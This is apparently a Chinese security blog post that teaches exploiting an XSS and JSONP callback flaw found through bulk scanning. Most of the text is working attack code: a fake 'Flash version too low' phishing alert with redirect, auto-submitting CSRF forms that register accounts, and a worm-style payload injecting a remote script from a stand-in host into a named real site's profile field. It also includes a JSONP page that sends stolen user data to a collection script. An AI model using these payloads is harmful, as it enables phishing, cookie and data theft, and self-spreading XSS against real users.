一次批量挖掘时获取到的接口用以分析jsonp以及xss漏洞挖掘分析

前言:
因为一直在捣鼓批量挖掘
在测批量挖掘的一个思路时,跑了某个站的域名
跑出来一个接口觉得这个接口拿来当例子分析是个很不错的选择
漏洞点均已修复这里只做技术分析

正文

获取到如下的接口
http://网站/api/position/615?callback=111

发觉是一个很不错的例子
这里就直接用这个来简单的教大家怎么挖掘jsonp的漏洞和xss进阶钓鱼使用

xss基础的使用就不说了

最基础的
当然也是因为这里没waf 如果有waf的话就想办法绕就好了
waf还是蛮好绕的
在这里插入图片描述

这里肯定是核心写进阶利用的
因为这里没有发布文章这些操作 所以这里直接调用的注册账户的来进行实现

简单思路一:重定向思路去进行xss数据获取

思路一 重定向到一个页面后进行获取数据
个人不建议使用这种
代码如下

window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低,请尝试升级后访问该页面!");window.location.href="http://baidu.com";

在这里插入图片描述
组合csrf使用
最简单的结合csrf的方法
准确就是url重定向+csrf漏洞进行
1.生成一个csrf
在这里插入图片描述
2.结合上面的重定向的代码把代码改为上面poc.html存储的服务器的地址即可
效果
常规的直接使用poc的如下
在这里插入图片描述
进一步更改的
直接结合doucument.forms[0].submit();去写

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="">
   
      <script> document.forms[0].submit(); </script> 
    </form>
  </body>
</html>

效果如下
弹窗跳转后直接即成功
在这里插入图片描述
思路二 先写在重定向思路·

直接抓包csrf生成的

<input type="hidden" name="requestMethod" value="POST">
<input type="hidden" name="requestURL" value="http" value="//t.iqiyi.com/api/feed/addChat.php">
<input type="hidden" name="notsync" value="">
<input type="hidden" name="categoryid" value="">
<input type="hidden" name="picid" value="">
<input type="hidden" name="txt" value="test">
<input type="hidden" name="tvid" value="0">
<input type="hidden" name="cb" value="qitan_response_data">
<input type="submit" value="ok">

在这里插入图片描述
利用思路存储xss弹窗弹一个重定向的代码或者弹窗+xss.js一起使用

存储xss弹窗那个重定向的代码 链接就是这个url部署服务器的链接然后当别人被迫点击后即可疯狂插东西了 如果是可构造表单的 即可

这个是html页面的

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<iframe id="test_iframe" style='display:none'></iframe>
<h1>aa</h1>
<script>
var test_iframe = document.getElementById('test_iframe');
function CSRF()
{  
    test_iframe.contentWindow.document.write("<form action='http://baidu.com/注册的接口'>"
   +"<input type='hidden' name='callback' value='jQuery17207526730081973341&#95;1651468576157' >"
   +"<input type='hidden' name='name' value='261642834311211'>"
   +"<input type='hidden' name='password' value='a&#46;123456789' >"
   +"<input type='hidden' name='repassword' value='a&#46;123456789'>"
   +"<input type='hidden' name='rname' value=''>"
   +"<input type='hidden' name='idcard' value=''>"
   +"<input type='hidden' name='formtype' value='registerform'>"
   +"<input type='hidden' name='from' value='3841' >"
   +"<input type='hidden' name='&#95;' value='1651468592111'>"
   +"</form>"
   +"<script> document.forms[0].submit(); <\/script>")
}
CSRF();
window.setTimeout(window.location.href='http://www.baidu.com', 1);//延迟二秒后跳转到指定网页
</script>

复杂点的方法:

原理:自写js代码+csrf生成的poc进行处理
然后扔xss平台里面去
然后弹即可获取数据

把下面的这些代码扔进xss平台中 组合蠕虫就是利用的这些思路(反正我是这种)

这个是链接的点
http://网站callback=<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>

这个就是xxx.js的内容 即点击该参数即可调用插入引用xxx.js的代码进而进行插入代码造成xss漏洞
get类型的

var request = false;
if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
    if(request.overrideMimeType) {
	request.overrideMimeType('text/xml');
	}
}
else if (window.ActiveXObject) { 
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
    for(var i=0; i<versions.length; i++) {
	try {
	    request = new ActiveXObject(versions);
	    } 
        catch(e) {}
	}
}
xmlhttp=request;
var injectcode=escape('</p><script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>');
var url= "http://t.stock.sohu.com/updateuserinfo.up?callback=jQuery17209598822160122753_1402214482429&interest=%C6%DA%D6%B8&introduction="+injectcode;
xmlhttp.open("GET", url, true);  
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send();

扔进去后
在这里插入图片描述
当x如后自动即会跳转
在这里插入图片描述
即可成功完成我们引用的xss代码操作

jsonp

核心利用的原理:
JSONP技术可以实现数据的跨域访问,进而攻击者利用该漏洞可以向用户发送一个伪造的链接,进而当用户点击后进行回调函数进而即窃取到用户的信息

因为这里的callaback可控
服务器的保存文件的可以直接仍本地127.0.0.1 、
用phpstudy起一个就好了

<?php
if($_GET['file']){
	file_put_contents('json.txt',$_GET['file']);
}
?>

点击该html即可获取到数据

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
</head>

<body>
    <script>
    function test(data) {
        var xmlhttp = new XMLHttpRequest();
        var url = "http://127.0.0.1/save_json.php?file=" + JSON.stringify(data);
        xmlhttp.open("GET",url,true);
        xmlhttp.send();
    }
    </script>
    <script src="http://具有jsonp漏洞的地址/jsonp.php?callback=test"></script>
    //callback回调函数进而获取数据然后采用ajax的形式进行发送数据
 
</body>

</html>

在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值